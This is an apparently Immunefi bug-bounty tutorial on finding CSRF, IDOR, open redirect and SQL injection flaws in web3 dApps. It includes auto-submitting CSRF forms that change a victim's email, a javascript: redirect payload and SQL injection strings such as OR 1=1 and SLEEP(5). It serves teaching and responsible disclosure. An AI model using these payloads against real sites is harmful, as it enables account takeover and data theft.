Four Web2 Vulnerabilities To Find In Web3

Introduction
In this article, we’re going to explore the impacts of web2 vulnerabilities on dApps, and how hackers from the web2 world can discover and responsibly report these bugs to earn big bug bounty rewards on Immunefi.
We’ve previously discussed specific examples of web2 vulnerabilities in web3 in the past. One such vulnerability was the prevalence of XSS in NFT marketplaces. We also looked at the impact of subdomain takeovers in another article.
Here, we’re looking at four types of vulnerabilities, to give a much wider perspective on the ways in which web2 vulnerabilities can be leveraged to attack dApps in the web3 space.
Those vulnerabilities are cross-site request forgery (CSRF), insecure direct object references (IDOR), open redirect, and SQL injection.
CSRF
A cross-site request forgery (CSRF) attack occurs when an HTTP request doesn’t include a random value, such as a nonce or CSRF token. The lack of a token allows an attacker to perform an action on behalf of an authenticated user with just one click, which can lead to some dangerous results.
Generally, CSRF tokens are included in the HTTP header or post body as shown in the following requests:
Example 1: CSRF token in the HTTP post body
POST /profile HTTP 1.1
Host: secure-domain.tld
Content-type: application/x-www-form-urlencoded
[email protected]&token=c3cb8e3b5922f7dbda9a7c55f76d05d1
Example 2: CSRF Token in the HTTP header
POST /profile HTTP 1.1
Host: secure-domain.tld
Content-type: application/x-www-form-urlencoded
X-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTMzNywidGltZXN0YW1wIjoxNjI0NTU0MjAwfQ.N1Vg7uyYFyijv8p7KUZTDgQfZJgvlY04TjFfgO9xz2U
[email protected]
Now, let’s look at the HTTP request that doesn’t contains a token or nonce:
POST /profile HTTP 1.1
Host: vulnerable-domain.tld
Content-type: application/x-www-form-urlencoded
[email protected]
The lack of CSRF token could allow an attacker to change the victim’s email address by sending the below-mentioned PoC to the victim. When a victim visits the attacker’s hosted page, the page submits a POST request to vulnerable-domain.tld/profile to change the victim’s email address to the attacker’s. After updating the email, the attacker can reset the password and take over the entire account.
<html>
<body>
<script>
history.pushState(‘’, ‘’, ‘/’);
</script>
<form action=”https://vulnerable-domain.tld/profile" method=”POST”>
<input type=”hidden” name=”email” value=”[email protected]” /><input type=”submit” value=”Submit request” />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Let’s look at another example with a different content-type.
Request 1: Submitting the edit email form on secure-domain.tld
POST /profile HTTP 1.1
Host: secure-domain.tld
Content-type: application/json
X-CSRF-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTMzNywidGltZXN0YW1wIjoxNjI0NTU0MjAwfQ.N1Vg7uyYFyijv8p7KUZTDgQfZJgvlY04TjFfgO9xz2U
{“email”: “[email protected]”}
Request 2: Submitting the edit email form on vulnerable-domain.tld
POST /profile HTTP 1.1
Host: vulnerable-domain.tld
Content-type: application/json
{“email”: “[email protected]”}
Although the second JSON request may lack the anti-CSRF token, it is not necessarily vulnerable to CSRF attacks because HTML forms don’t support the application/json
content type. However, exploiting the CSRF in the JSON request is still possible if the application does not verify the content-type header properly; we could enforce the content-type to text/plain
while submitting the HTML form in the PoC provided below.
<html>
<body>
<script>
history.pushState(‘’, ‘’, ‘/’);
</script>
<form action=”https://vulnerable-domain.tld/profile" method=”POST” enctype=”text/plain”>
<input type=”hidden” name=”{‘email’:’[email protected]’,fakepram’’” value=”’}” />
<input type=”submit” value=”Submit request” />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
It’s important to keep in mind that when it comes to web3, CSRF attacks have minimal impact compared to other web2 vulnerabilities because decentralized applications (dApps) use client-side crypto wallets to authenticate and approve sensitive requests.
As a result, for an attacker to exploit CSRF in a dApp, they would need to rely on somewhat unlikely user interaction, such as the victim manually approving the modification request on the crypto wallet after being redirected from the attacker-controlled website.
IDOR
Insecure Direct Object References (IDOR) are access control vulnerabilities that occur when an application directly references an object based on user input. This can allow an attacker to access objects that they should not be able to access, such as sensitive data or other users’ accounts.
Let’s look at the example:
https://vulnerable-domain.tld/api/v1/users/1337
The above endpoint displays the user’s information associated with 1337 userid
in the database. If there’s no proper permission check at the backend, then we can simply retrieve the data of other users by changing the userid
in the API endpoint. The url would then look like this:
https://vulnerable-domain.tld/api/v1/users/1338
Since we now have a basic understanding of how IDOR works, let’s look at the various types of IDOR and the complications encountered while exploiting the IDOR.
Types of IDOR
IDOR is classified as horizontal when an attacker is able to impact a wide range of users, whereas vertical IDOR occurs when a user can access or modify unauthorized data within their user accounts.
Assume an application has user account functionality with various privileges, such as admin and read-only. A read-only user does not have access to the user management feature, which allows an admin to add, view, and edit users in the organization account.
Consider the following endpoint used to view the organization’s user list:
/api/v1/organization/1337/users
If the application reveals the user’s list to a read-only user while browsing to the aforementioned endpoint, this is an example of vertical IDOR. However, if changing the organization ID ( in this case 1337 to 1338) in the endpoint reveals the organization’s user list associated with the 1338 org id, it would be classified as a horizontal IDOR.
Sometimes, exploiting IDOR is challenging, as it may require additional recon techniques to enumerate the IDs because applications do not always use sequential IDs but rather random values such as UUID, which make it harder for attackers to identify and enumerate the IDs.
If the application allows a user to view another user’s profile like on NFT platforms, it might be possible to look for the UUID in the user’s page source code, or profile image URL. It may be structured like this: https://vulnerable-domain.tld/images/<UID>.png or https://vulnerable-domain.tld/images/<UID>/image.png
It is critical to clearly demonstrate the impact of the disclosed information or the data you were able to tamper with when reporting an IDOR vulnerability on Immunefi. The Immunefi severity classification system v2.3 has three IDOR-related impacts. Modifying sensitive information, such as adding yourself as an admin on a subaccount, or disclosing PII, such as email address or home address, are classified as high. Another medium impact is the modification of non-sensitive information such as names and preference settings.
We strongly advise you to read the bug bounty program policy before selecting the severity because IDOR may be downgraded to medium or low severity if low privilege user access is required.
Open Redirect
An open redirect occurs when an application uses a user-inputted URL to redirect the user to that URL.
Let’s look at the vulnerable HTTP endpoint:
https://vulnerable-domain.tld/login?redirect=https://attacker.tld
The above URL redirects the user to attacker.tld once the login request is completed.
The main impact of open redirect is phishing, as malicious actors can redirect users to websites with similar designs and domain names, in order to steal sensitive information or trick them into executing a malicious transaction. Moreover, if a web application uses techniques other than 302/301 redirects, the open redirect vulnerability can be elevated to XSS by setting the redirect URL to Javascript:alert(document.domain)
.
When providing a PoC on Immunefi, it’s important to go beyond simply demonstrating DOM access through popping the document.domain
output. To improve your PoC, we recommend reading our previous blog post about XSS in NFT marketplaces, where we shared various PoCs, such as initiating a malicious transaction to increase the severity of the XSS report to critical.
SQL Injection
SQL injection (SQLI) allows the user to manipulate a dynamic query at the backend to force the application to display data from the database that was never meant to be displayed or accessible publicly.
Let’s look at the vulnerable HTTP endpoint:
https://vulnerable-domain.tld/api/proposal/Qmd10
The backend query of this request would look like this:
SELECT * FROM proposal WHERE proposal_id = ‘Qmd10’
During blackbox testing, the backend query is inaccessible, which limits our ability to craft a successful payload. However, by injecting invalid characters such as single or double quotes, we can potentially cause an SQL error in a vulnerable application that discloses valuable information such as the SQL query, as well as what database is being used.
Additionally, most applications heavily rely on web application firewalls (WAF) to prevent malicious queries from being sent to the backend, so instead of copying and pasting public SQLI payloads, always check how the application handles user input. For example, in the above example, you could inject ‘ OR 1=1–
.
https://vulnerable-domain.tld/api/proposal/Qmd10’+OR+1=1–
The resulting query would be as follows:
SELECT * FROM proposal WHERE proposal_id = ‘Qmd10’ OR 1=1 — -’
Since 1=1 is always true, the application will return all proposals that exist in the database, confirming that the application is vulnerable to SQLI.
Blind SQLI
However, SQLI is not always straightforward, as you may encounter a case of blind SQLI, which does not display the result of the SQL query or any database error. We rely on the application’s response while exploiting blind SQL injection. For example, by injecting the sleep function, we can determine if the application is vulnerable.
https://vulnerable-domain.tld/api/proposal/Qmd10’+AND+SLEEP(5)--
SELECT * FROM proposal WHERE PROPOSITION_ID = ‘Qmd10’ AND SLEEP(5) — ’
The modified query will cause the response to be delayed by 5 seconds.
The big difference between web2 and web3, however, is that generally speaking, dApps don’t use traditional SQL databases because all of the data is directly stored on the blockchain. However, it is not uncommon to find SQLI in web3 applications. In fact, there have been several reports of SQLI vulnerabilities on Immunefi, which have resulted in sizeable bounty payouts. A few platforms still use SQL databases to store sensitive data, such as email addresses.
Recently, a whitehat was awarded a significant bounty for discovering the SQL Injection via the orderBy
parameter on the proposal portal. Upon changing the value of orderBy
to 1
, the application sorted by proposal data based on their proposal id, demonstrating that user input is directly affecting the ORDER BY
statement in the backend query. Furthermore, it was discovered that providing a non-existent column index number would result in an error.
Since it was an error-based SQLI, the whitehat relied on the application’s response to obtain the more sensitive information. For example, injecting (SELECT(getpgusername()))
caused the application to respond normally, whereas (SELECT(@@version))
triggered an error, confirming the use of PostgreSQL.
Extraction of the database version, however, is insufficient to demonstrate the severity of the vulnerability. As a result, the SUBSTR function was used to determine the table and column names.
Conclusion
The link between web2 vulnerabilities and web3 dApps is still underexplored territory, but hopefully, we’ve given enough of a brief tour of vulnerability types like CSRF, IDOR, open redirect, and SQL injection for you to get started.
Just remember:
- CSRF has a minimal impact on dApps because it requires the user to manually approve the request related to sensitive actions.
- IDOR allows unauthorized access or modification of sensitive information. Exploiting IDOR can be challenging due to the non-sequential or random identifiers used by applications.
- Open redirects can lead to XSS or phishing attacks.
- SQL injection allows attackers to retrieve unauthorized data from the database. Generally, dApps store data on the blockchain; however, SQLI can still be discovered in web3 applications that use traditional SQL databases for certain data storage.